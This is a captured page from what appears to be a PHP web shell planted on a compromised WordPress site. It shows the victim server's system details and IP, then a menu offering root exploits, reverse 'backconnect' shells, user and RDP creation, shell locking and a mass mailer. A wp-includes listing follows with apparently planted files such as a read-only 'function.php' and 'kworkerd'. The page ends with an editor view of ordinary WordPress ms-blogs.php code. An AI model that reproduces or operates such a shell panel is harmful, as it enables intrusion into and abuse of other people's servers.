FreeBSD s15.mydevil.net 14.1-RELEASE-p4 FreeBSD 14.1-RELEASE-p4 #3 releng/14.1-n267709-86d01789bf41-dirty: Thu Sep 5 04:26:54 CEST 2024 root@pkg1.admin.net.pl:/usr/obj/usr/src/amd64.amd64/sys/devil amd64
Apache/N-G-I-N-X-htaccess-support
: 128.204.218.142 | : 3.145.12.195
Cant Read [ /etc/named.conf ]
?8.1.30
art
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
home /
art /
domains /
rotarycup.pl /
public_html /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
ID3
[ DIR ]
drwxr-xr-x
?;
IXR
[ DIR ]
drwxr-xr-x
?;
PHPMailer
[ DIR ]
drwxr-xr-x
?;
Requests
[ DIR ]
drwxr-xr-x
?;
SimplePie
[ DIR ]
drwxr-xr-x
?;
Text
[ DIR ]
drwxr-xr-x
?;
assets
[ DIR ]
drwxr-xr-x
?;
block-bindings
[ DIR ]
drwxr-xr-x
?;
block-patterns
[ DIR ]
drwxr-xr-x
?;
block-supports
[ DIR ]
drwxr-xr-x
?;
blocks
[ DIR ]
drwxr-xr-x
?;
certificates
[ DIR ]
drwxr-xr-x
?;
css
[ DIR ]
drwxr-xr-x
?;
customize
[ DIR ]
drwxr-xr-x
?;
fonts
[ DIR ]
drwxr-xr-x
?;
html-api
[ DIR ]
drwxr-xr-x
?;
images
[ DIR ]
drwxr-xr-x
?;
interactivity-api
[ DIR ]
drwxr-xr-x
?;
js
[ DIR ]
drwxr-xr-x
?;
l10n
[ DIR ]
drwxr-xr-x
?;
php-compat
[ DIR ]
drwxr-xr-x
?;
pomo
[ DIR ]
drwxr-xr-x
?;
rest-api
[ DIR ]
drwxr-xr-x
?;
sitemaps
[ DIR ]
drwxr-xr-x
?;
sodium_compat
[ DIR ]
drwxr-xr-x
?;
style-engine
[ DIR ]
drwxr-xr-x
?;
theme-compat
[ DIR ]
drwxr-xr-x
?;
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
36.23
KB
-rw-r--r--
atomlib.php
11.67
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-bindings.php
5.46
KB
-rw-r--r--
block-editor.php
27.51
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
12.85
KB
-rw-r--r--
block-template-utils.php
55.23
KB
-rw-r--r--
block-template.php
12.09
KB
-rw-r--r--
blocks.php
95.19
KB
-rw-r--r--
bookmark-template.php
12.63
KB
-rw-r--r--
bookmark.php
15.07
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
cache.php
13.16
KB
-rw-r--r--
canonical.php
33.7
KB
-rw-r--r--
capabilities.php
39.08
KB
-rw-r--r--
category-template.php
55.67
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-avif-info.php
28.92
KB
-rw-r--r--
class-feed.php
529
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.66
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.55
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.48
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
95.76
KB
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.89
KB
-rw-r--r--
class-walker-nav-menu.php
11.05
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.46
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords...
12.55
KB
-rw-r--r--
class-wp-block-bindings-regist...
8.73
KB
-rw-r--r--
class-wp-block-bindings-source...
2.13
KB
-rw-r--r--
class-wp-block-editor-context....
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.65
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.ph...
1.87
KB
-rw-r--r--
class-wp-block-parser.php
11.26
KB
-rw-r--r--
class-wp-block-pattern-categor...
5.25
KB
-rw-r--r--
class-wp-block-patterns-regist...
11.46
KB
-rw-r--r--
class-wp-block-styles-registry...
6.12
KB
-rw-r--r--
class-wp-block-supports.php
5.44
KB
-rw-r--r--
class-wp-block-template.php
1.91
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.9
KB
-rw-r--r--
class-wp-block-type.php
16.86
KB
-rw-r--r--
class-wp-block.php
19.23
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.99
KB
-rw-r--r--
class-wp-comment-query.php
47.26
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-customize-control.php
25.13
KB
-rw-r--r--
class-wp-customize-manager.php
197.67
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
56.04
KB
-rw-r--r--
class-wp-customize-panel.php
10.42
KB
-rw-r--r--
class-wp-customize-section.php
10.98
KB
-rw-r--r--
class-wp-customize-setting.php
29.19
KB
-rw-r--r--
class-wp-customize-widgets.php
69.84
KB
-rw-r--r--
class-wp-date-query.php
34.89
KB
-rw-r--r--
class-wp-dependencies.php
13.73
KB
-rw-r--r--
class-wp-dependency.php
2.57
KB
-rw-r--r--
class-wp-duotone.php
39.83
KB
-rw-r--r--
class-wp-editor.php
70.49
KB
-rw-r--r--
class-wp-embed.php
15.62
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
7.76
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.53
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
15.63
KB
-rw-r--r--
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
class-wp-http-curl.php
12.25
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.3
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.46
KB
-rw-r--r--
class-wp-http.php
39.8
KB
-rw-r--r--
class-wp-image-editor-gd.php
18.5
KB
-rw-r--r--
class-wp-image-editor-imagick....
31.35
KB
-rw-r--r--
class-wp-image-editor.php
17.19
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.47
KB
-rw-r--r--
class-wp-locale.php
15.73
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.82
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.p...
9
KB
-rw-r--r--
class-wp-network-query.php
19.39
KB
-rw-r--r--
class-wp-network.php
12
KB
-rw-r--r--
class-wp-object-cache.php
17.18
KB
-rw-r--r--
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
class-wp-oembed.php
30.74
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.97
KB
-rw-r--r--
class-wp-plugin-dependencies.p...
24.73
KB
-rw-r--r--
class-wp-post-type.php
29.64
KB
-rw-r--r--
class-wp-post.php
6.33
KB
-rw-r--r--
class-wp-query.php
150.47
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.92
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.49
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.38
KB
-rw-r--r--
class-wp-recovery-mode.php
11.17
KB
-rw-r--r--
class-wp-rewrite.php
61.94
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
8.38
KB
-rw-r--r--
class-wp-script-modules.php
13.43
KB
-rw-r--r--
class-wp-scripts.php
27.25
KB
-rw-r--r--
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
class-wp-simplepie-file.php
3.3
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
30.81
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-styles.php
10.64
KB
-rw-r--r--
class-wp-tax-query.php
19.1
KB
-rw-r--r--
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
class-wp-term-query.php
40.2
KB
-rw-r--r--
class-wp-term.php
5.17
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
979
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
18.37
KB
-rw-r--r--
class-wp-textdomain-registry.p...
9.96
KB
-rw-r--r--
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
33.9
KB
-rw-r--r--
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
class-wp-theme-json.php
153.63
KB
-rw-r--r--
class-wp-theme.php
63.77
KB
-rw-r--r--
class-wp-token-map.php
27.76
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
42.63
KB
-rw-r--r--
class-wp-user-request.php
2.17
KB
-rw-r--r--
class-wp-user.php
22.29
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.96
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.91
KB
-rw-r--r--
class-wp.php
25.64
KB
-rw-r--r--
class-wpdb.php
115.6
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
comment-template.php
99.35
KB
-rw-r--r--
comment.php
126.2
KB
-rw-r--r--
compat.php
16.08
KB
-rw-r--r--
cron.php
40.61
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
10.97
KB
-rw-r--r--
default-filters.php
34.66
KB
-rw-r--r--
default-widgets.php
2.17
KB
-rw-r--r--
deprecated.php
181.92
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
37.02
KB
-rw-r--r--
error-protection.php
4.02
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
2.98
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.77
KB
-rw-r--r--
fonts.php
9.22
KB
-rw-r--r--
formatting.php
327.51
KB
-rw-r--r--
function.php
174.76
KB
-r--r--r--
functions.php
274.07
KB
-rw-r--r--
functions.wp-scripts.php
14.22
KB
-rw-r--r--
functions.wp-styles.php
8.38
KB
-rw-r--r--
general-template.php
165.16
KB
-rw-r--r--
global-styles-and-settings.php
20.92
KB
-rw-r--r--
http.php
24.95
KB
-rw-r--r--
https-detection.php
5.53
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
install.php
14.37
KB
-r--r--r--
kses.php
72.65
KB
-rw-r--r--
kworkerd
6.11
KB
-rw-r--r--
l10n.php
65.09
KB
-rw-r--r--
link-template.php
152.48
KB
-rw-r--r--
load.php
54.06
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
60.76
KB
-rw-r--r--
media.php
205.61
KB
-rw-r--r--
meta.php
62.58
KB
-rw-r--r--
ms-blogs.php
25.13
KB
-rw-r--r--
ms-default-constants.php
4.81
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.25
KB
-rw-r--r--
ms-files.php
2.65
KB
-rw-r--r--
ms-functions.php
89.1
KB
-rw-r--r--
ms-load.php
19.42
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
ms-site.php
39.4
KB
-rw-r--r--
nav-menu-template.php
25.31
KB
-rw-r--r--
nav-menu.php
43.11
KB
-rw-r--r--
network.php
14.78
KB
-r--r--r--
option.php
98.09
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
110.53
KB
-rw-r--r--
plugin.php
34.63
KB
-rw-r--r--
post-formats.php
6.94
KB
-rw-r--r--
post-template.php
65.25
KB
-rw-r--r--
post-thumbnail-template.php
10.07
KB
-rw-r--r--
post.php
277.61
KB
-rw-r--r--
query.php
36.17
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
96.16
KB
-rw-r--r--
revision.php
30.18
KB
-rw-r--r--
rewrite.php
19.06
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.57
KB
-rw-r--r--
script-loader.php
127.24
KB
-rw-r--r--
script-modules.php
5.84
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.49
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
taxonomy.php
171.21
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
23.59
KB
-rw-r--r--
theme-i18n.json
1.22
KB
-rw-r--r--
theme-previews.php
2.77
KB
-rw-r--r--
theme-templates.php
6.08
KB
-rw-r--r--
theme.json
8.5
KB
-rw-r--r--
theme.php
130.84
KB
-rw-r--r--
update.php
36.02
KB
-rw-r--r--
user.php
169.66
KB
-rw-r--r--
vars.php
6.34
KB
-rw-r--r--
version.php
961
B
-rw-r--r--
widgets.php
69.03
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
647
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ms-blogs.php
<?php /** * Site/blog functions that work with the blogs table and related data. * * @package WordPress * @subpackage Multisite * @since MU (3.0.0) */ require_once ABSPATH . WPINC . '/ms-site.php'; require_once ABSPATH . WPINC . '/ms-network.php'; /** * Updates the last_updated field for the current site. * * @since MU (3.0.0) */ function wpmu_update_blogs_date() { $site_id = get_current_blog_id(); update_blog_details( $site_id, array( 'last_updated' => current_time( 'mysql', true ) ) ); /** * Fires after the blog details are updated. * * @since MU (3.0.0) * * @param int $blog_id Site ID. */ do_action( 'wpmu_blog_updated', $site_id ); } /** * Gets a full site URL, given a site ID. * * @since MU (3.0.0) * * @param int $blog_id Site ID. * @return string Full site URL if found. Empty string if not. */ function get_blogaddress_by_id( $blog_id ) { $bloginfo = get_site( (int) $blog_id ); if ( empty( $bloginfo ) ) { return ''; } $scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME ); $scheme = empty( $scheme ) ? 'http' : $scheme; return esc_url( $scheme . '://' . $bloginfo->domain . $bloginfo->path ); } /** * Gets a full site URL, given a site name. * * @since MU (3.0.0) * * @param string $blogname Name of the subdomain or directory. * @return string */ function get_blogaddress_by_name( $blogname ) { if ( is_subdomain_install() ) { if ( 'main' === $blogname ) { $blogname = 'www'; } $url = rtrim( network_home_url(), '/' ); if ( ! empty( $blogname ) ) { $url = preg_replace( '|^([^\.]+://)|', '${1}' . $blogname . '.', $url ); } } else { $url = network_home_url( $blogname ); } return esc_url( $url . '/' ); } /** * Retrieves a site's ID given its (subdomain or directory) slug. * * @since MU (3.0.0) * @since 4.7.0 Converted to use `get_sites()`. * * @param string $slug A site's slug. * @return int|null The site ID, or null if no site is found for the given slug. */ function get_id_from_blogname( $slug ) { $current_network = get_network(); $slug = trim( $slug, '/' ); if ( is_subdomain_install() ) { $domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain ); $path = $current_network->path; } else { $domain = $current_network->domain; $path = $current_network->path . $slug . '/'; } $site_ids = get_sites( array( 'number' => 1, 'fields' => 'ids', 'domain' => $domain, 'path' => $path, 'update_site_meta_cache' => false, ) ); if ( empty( $site_ids ) ) { return null; } return array_shift( $site_ids ); } /** * Retrieves the details for a blog from the blogs table and blog options. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|string|array $fields Optional. A blog ID, a blog slug, or an array of fields to query against. * Defaults to the current blog ID. * @param bool $get_all Whether to retrieve all details or only the details in the blogs table. * Default is true. * @return WP_Site|false Blog details on success. False on failure. */ function get_blog_details( $fields = null, $get_all = true ) { global $wpdb; if ( is_array( $fields ) ) { if ( isset( $fields['blog_id'] ) ) { $blog_id = $fields['blog_id']; } elseif ( isset( $fields['domain'] ) && isset( $fields['path'] ) ) { $key = md5( $fields['domain'] . $fields['path'] ); $blog = wp_cache_get( $key, 'blog-lookup' ); if ( false !== $blog ) { return $blog; } if ( str_starts_with( $fields['domain'], 'www.' ) ) { $nowww = substr( $fields['domain'], 4 ); $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) ); } else { $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) ); } if ( $blog ) { wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' ); $blog_id = $blog->blog_id; } else { return false; } } elseif ( isset( $fields['domain'] ) && is_subdomain_install() ) { $key = md5( $fields['domain'] ); $blog = wp_cache_get( $key, 'blog-lookup' ); if ( false !== $blog ) { return $blog; } if ( str_starts_with( $fields['domain'], 'www.' ) ) { $nowww = substr( $fields['domain'], 4 ); $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) ); } else { $blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) ); } if ( $blog ) { wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' ); $blog_id = $blog->blog_id; } else { return false; } } else { return false; } } else { if ( ! $fields ) { $blog_id = get_current_blog_id(); } elseif ( ! is_numeric( $fields ) ) { $blog_id = get_id_from_blogname( $fields ); } else { $blog_id = $fields; } } $blog_id = (int) $blog_id; $all = $get_all ? '' : 'short'; $details = wp_cache_get( $blog_id . $all, 'blog-details' ); if ( $details ) { if ( ! is_object( $details ) ) { if ( -1 === $details ) { return false; } else { // Clear old pre-serialized objects. Cache clients do better with that. wp_cache_delete( $blog_id . $all, 'blog-details' ); unset( $details ); } } else { return $details; } } // Try the other cache. if ( $get_all ) { $details = wp_cache_get( $blog_id . 'short', 'blog-details' ); } else { $details = wp_cache_get( $blog_id, 'blog-details' ); // If short was requested and full cache is set, we can return. if ( $details ) { if ( ! is_object( $details ) ) { if ( -1 === $details ) { return false; } else { // Clear old pre-serialized objects. Cache clients do better with that. wp_cache_delete( $blog_id, 'blog-details' ); unset( $details ); } } else { return $details; } } } if ( empty( $details ) ) { $details = WP_Site::get_instance( $blog_id ); if ( ! $details ) { // Set the full cache. wp_cache_set( $blog_id, -1, 'blog-details' ); return false; } } if ( ! $details instanceof WP_Site ) { $details = new WP_Site( $details ); } if ( ! $get_all ) { wp_cache_set( $blog_id . $all, $details, 'blog-details' ); return $details; } $switched_blog = false; if ( get_current_blog_id() !== $blog_id ) { switch_to_blog( $blog_id ); $switched_blog = true; } $details->blogname = get_option( 'blogname' ); $details->siteurl = get_option( 'siteurl' ); $details->post_count = get_option( 'post_count' ); $details->home = get_option( 'home' ); if ( $switched_blog ) { restore_current_blog(); } /** * Filters a blog's details. * * @since MU (3.0.0) * @deprecated 4.7.0 Use {@see 'site_details'} instead. * * @param WP_Site $details The blog details. */ $details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' ); wp_cache_set( $blog_id . $all, $details, 'blog-details' ); $key = md5( $details->domain . $details->path ); wp_cache_set( $key, $details, 'blog-lookup' ); return $details; } /** * Clears the blog details cache. * * @since MU (3.0.0) * * @param int $blog_id Optional. Blog ID. Defaults to current blog. */ function refresh_blog_details( $blog_id = 0 ) { $blog_id = (int) $blog_id; if ( ! $blog_id ) { $blog_id = get_current_blog_id(); } clean_blog_cache( $blog_id ); } /** * Updates the details for a blog and the blogs table for a given blog ID. * * @since MU (3.0.0) * * @param int $blog_id Blog ID. * @param array $details Array of details keyed by blogs table field names. * @return bool True if update succeeds, false otherwise. */ function update_blog_details( $blog_id, $details = array() ) { if ( empty( $details ) ) { return false; } if ( is_object( $details ) ) { $details = get_object_vars( $details ); } $site = wp_update_site( $blog_id, $details ); if ( is_wp_error( $site ) ) { return false; } return true; } /** * Cleans the site details cache for a site. * * @since 4.7.4 * * @param int $site_id Optional. Site ID. Default is the current site ID. */ function clean_site_details_cache( $site_id = 0 ) { $site_id = (int) $site_id; if ( ! $site_id ) { $site_id = get_current_blog_id(); } wp_cache_delete( $site_id, 'site-details' ); wp_cache_delete( $site_id, 'blog-details' ); } /** * Retrieves option value for a given blog id based on name of option. * * If the option does not exist or does not have a value, then the return value * will be false. This is useful to check whether you need to install an option * and is commonly used during installation of plugin options and to test * whether upgrading is required. * * If the option was serialized then it will be unserialized when it is returned. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to retrieve. Expected to not be SQL-escaped. * @param mixed $default_value Optional. Default value to return if the option does not exist. * @return mixed Value set for the option. */ function get_blog_option( $id, $option, $default_value = false ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return get_option( $option, $default_value ); } switch_to_blog( $id ); $value = get_option( $option, $default_value ); restore_current_blog(); /** * Filters a blog option value. * * The dynamic portion of the hook name, `$option`, refers to the blog option name. * * @since 3.5.0 * * @param string $value The option value. * @param int $id Blog ID. */ return apply_filters( "blog_option_{$option}", $value, $id ); } /** * Adds a new option for a given blog ID. * * You do not need to serialize values. If the value needs to be serialized, then * it will be serialized before it is inserted into the database. Remember, * resources can not be serialized or added as an option. * * You can create options without values and then update the values later. * Existing options will not be updated and checks are performed to ensure that you * aren't adding a protected WordPress option. Care should be taken to not name * options the same as the ones which are protected. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_blog_option( $id, $option, $value ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return add_option( $option, $value ); } switch_to_blog( $id ); $return = add_option( $option, $value ); restore_current_blog(); return $return; } /** * Removes an option by name for a given blog ID. Prevents removal of protected WordPress options. * * @since MU (3.0.0) * * @param int $id A blog ID. Can be null to refer to the current blog. * @param string $option Name of option to remove. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_blog_option( $id, $option ) { $id = (int) $id; if ( empty( $id ) ) { $id = get_current_blog_id(); } if ( get_current_blog_id() === $id ) { return delete_option( $option ); } switch_to_blog( $id ); $return = delete_option( $option ); restore_current_blog(); return $return; } /** * Updates an option for a particular blog. * * @since MU (3.0.0) * * @param int $id The blog ID. * @param string $option The option key. * @param mixed $value The option value. * @param mixed $deprecated Not used. * @return bool True if the value was updated, false otherwise. */ function update_blog_option( $id, $option, $value, $deprecated = null ) { $id = (int) $id; if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '3.1.0' ); } if ( get_current_blog_id() === $id ) { return update_option( $option, $value ); } switch_to_blog( $id ); $return = update_option( $option, $value ); restore_current_blog(); return $return; } /** * Switches the current blog. * * This function is useful if you need to pull posts, or other information, * from other blogs. You can switch back afterwards using restore_current_blog(). * * PHP code loaded with the originally requested site, such as code from a plugin or theme, does not switch. See #14941. * * @see restore_current_blog() * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global int $blog_id * @global array $_wp_switched_stack * @global bool $switched * @global string $table_prefix The database table prefix. * @global WP_Object_Cache $wp_object_cache * * @param int $new_blog_id The ID of the blog to switch to. Default: current blog. * @param bool $deprecated Not used. * @return true Always returns true. */ function switch_to_blog( $new_blog_id, $deprecated = null ) { global $wpdb; $prev_blog_id = get_current_blog_id(); if ( empty( $new_blog_id ) ) { $new_blog_id = $prev_blog_id; } $GLOBALS['_wp_switched_stack'][] = $prev_blog_id; /* * If we're switching to the same blog id that we're on, * set the right vars, do the associated actions, but skip * the extra unnecessary work */ if ( $new_blog_id === $prev_blog_id ) { /** * Fires when the blog is switched. * * @since MU (3.0.0) * @since 5.4.0 The `$context` parameter was added. * * @param int $new_blog_id New blog ID. * @param int $prev_blog_id Previous blog ID. * @param string $context Additional context. Accepts 'switch' when called from switch_to_blog() * or 'restore' when called from restore_current_blog(). */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' ); $GLOBALS['switched'] = true; return true; } $wpdb->set_blog_id( $new_blog_id ); $GLOBALS['table_prefix'] = $wpdb->get_blog_prefix(); $GLOBALS['blog_id'] = $new_blog_id; if ( function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( $new_blog_id ); } else { global $wp_object_cache; if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) { $global_groups = $wp_object_cache->global_groups; } else { $global_groups = false; } wp_cache_init(); if ( function_exists( 'wp_cache_add_global_groups' ) ) { if ( is_array( $global_groups ) ) { wp_cache_add_global_groups( $global_groups ); } else { wp_cache_add_global_groups( array( 'blog-details', 'blog-id-cache', 'blog-lookup', 'blog_meta', 'global-posts', 'networks', 'network-queries', 'sites', 'site-details', 'site-options', 'site-queries', 'site-transient', 'theme_files', 'rss', 'users', 'user-queries', 'user_meta', 'useremail', 'userlogins', 'userslugs', ) ); } wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) ); } } /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' ); $GLOBALS['switched'] = true; return true; } /** * Restores the current blog, after calling switch_to_blog(). * * @see switch_to_blog() * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global array $_wp_switched_stack * @global int $blog_id * @global bool $switched * @global string $table_prefix The database table prefix. * @global WP_Object_Cache $wp_object_cache * * @return bool True on success, false if we're already on the current blog. */ function restore_current_blog() { global $wpdb; if ( empty( $GLOBALS['_wp_switched_stack'] ) ) { return false; } $new_blog_id = array_pop( $GLOBALS['_wp_switched_stack'] ); $prev_blog_id = get_current_blog_id(); if ( $new_blog_id === $prev_blog_id ) { /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' ); // If we still have items in the switched stack, consider ourselves still 'switched'. $GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] ); return true; } $wpdb->set_blog_id( $new_blog_id ); $GLOBALS['blog_id'] = $new_blog_id; $GLOBALS['table_prefix'] = $wpdb->get_blog_prefix(); if ( function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( $new_blog_id ); } else { global $wp_object_cache; if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) { $global_groups = $wp_object_cache->global_groups; } else { $global_groups = false; } wp_cache_init(); if ( function_exists( 'wp_cache_add_global_groups' ) ) { if ( is_array( $global_groups ) ) { wp_cache_add_global_groups( $global_groups ); } else { wp_cache_add_global_groups( array( 'blog-details', 'blog-id-cache', 'blog-lookup', 'blog_meta', 'global-posts', 'networks', 'network-queries', 'sites', 'site-details', 'site-options', 'site-queries', 'site-transient', 'theme_files', 'rss', 'users', 'user-queries', 'user_meta', 'useremail', 'userlogins', 'userslugs', ) ); } wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) ); } } /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' ); // If we still have items in the switched stack, consider ourselves still 'switched'. $GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] ); return true; } /** * Switches the initialized roles and current user capabilities to another site. * * @since 4.9.0 * * @param int $new_site_id New site ID. * @param int $old_site_id Old site ID. */ function wp_switch_roles_and_user( $new_site_id, $old_site_id ) { if ( $new_site_id === $old_site_id ) { return; } if ( ! did_action( 'init' ) ) { return; } wp_roles()->for_site( $new_site_id ); wp_get_current_user()->for_site( $new_site_id ); } /** * Determines if switch_to_blog() is in effect. * * @since 3.5.0 * * @global array $_wp_switched_stack * * @return bool True if switched, false otherwise. */ function ms_is_switched() { return ! empty( $GLOBALS['_wp_switched_stack'] ); } /** * Checks if a particular blog is archived. * * @since MU (3.0.0) * * @param int $id Blog ID. * @return string Whether the blog is archived or not. */ function is_archived( $id ) { return get_blog_status( $id, 'archived' ); } /** * Updates the 'archived' status of a particular blog. * * @since MU (3.0.0) * * @param int $id Blog ID. * @param string $archived The new status. * @return string $archived */ function update_archived( $id, $archived ) { update_blog_status( $id, 'archived', $archived ); return $archived; } /** * Updates a blog details field. * * @since MU (3.0.0) * @since 5.1.0 Use wp_update_site() 